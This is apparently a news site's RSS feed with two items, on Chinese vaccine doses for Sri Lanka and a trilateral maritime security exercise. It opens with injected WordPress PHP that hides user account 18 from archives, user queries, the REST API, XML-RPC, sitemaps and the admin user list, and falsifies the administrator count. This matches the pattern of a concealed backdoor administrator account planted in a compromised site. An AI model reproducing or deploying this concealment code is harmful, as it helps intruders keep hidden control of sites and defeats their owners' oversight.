add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
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        $author = get_queried_object();
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            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>China to pump in more vaccines as Sri Lanka widens coverage.</title>
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					<description><![CDATA[<p>Sri Lanka will receive an additional 1.6 million doses of Sinophar from China, the country’s Embassy here has said the island is expanding its Covid-19 vaccine coverage, with the aim of welcoming tourists and urgently boosting revenue-inflow. The move takes the total vaccines gifted by China to Sri Lanka to 2.7 million doses. Additionally , [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/china-to-pump-in-more-vaccines-as-sri-lanka-widens-coverage">China to pump in more vaccines as Sri Lanka widens coverage.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">Sri Lanka will receive an additional 1.6 million doses of Sinophar from China, the country’s Embassy here has said the island is expanding its Covid-19 vaccine coverage, with the aim of welcoming tourists and urgently boosting revenue-inflow.</span></p>
<p><span style="font-weight: 400">The move takes the total vaccines gifted by China to Sri Lanka to 2.7 million doses. Additionally , Srilanka has procured 6 million from china so far. </span></p>
<p><span style="font-weight: 400">Another 2 million procured doses are scheduled to arrive during the third week of July, while Colomba plans to purchase a further two million in the last week of July, a spokesman of chinese Embassy said.  </span></p>
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<p>The post <a href="https://theedgemedia.in/china-to-pump-in-more-vaccines-as-sri-lanka-widens-coverage">China to pump in more vaccines as Sri Lanka widens coverage.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>India, Sri Lanka and Maldives hold joint exercises on maritime security.</title>
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					<description><![CDATA[<p>Top defence officials from India, Sri Lanka and the Maldives participated in a virtual trilateral tabletop exercise where they discussed best practices and procedures for countering common transnational maritime crime like curbing narcotics and assistance in maritime search and rescue.  The two-day exercise, TTX-2021, from july 14 to july 15 aimed at enhancing mutual understanding [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">Top defence officials from India, Sri Lanka and the Maldives participated in a virtual trilateral tabletop exercise where they discussed best practices and procedures for countering common transnational maritime crime like curbing narcotics and assistance in maritime search and rescue. </span></p>
<p><span style="font-weight: 400">The two-day exercise, TTX-2021, from july 14 to july 15 aimed at enhancing mutual understanding and exchange of best practices producers for countering common transnational crime was coordinated by the Maritime Warfare Centre, Mumbai , the Indian High Commission here said. </span></p>
<p><span style="font-weight: 400">The exercise focused on maritime crimes like curbing narcotics and assistance in maritime search and rescue in the region. </span></p>
<p><span style="font-weight: 400">The exercise gained additional relevance in light of the successful operation Sagar Aarakshan 2 executed in support of MV-X-Press Pearl , the Singapore-flagged cargo ship that caught fire on May 21 , the mission said. </span></p>
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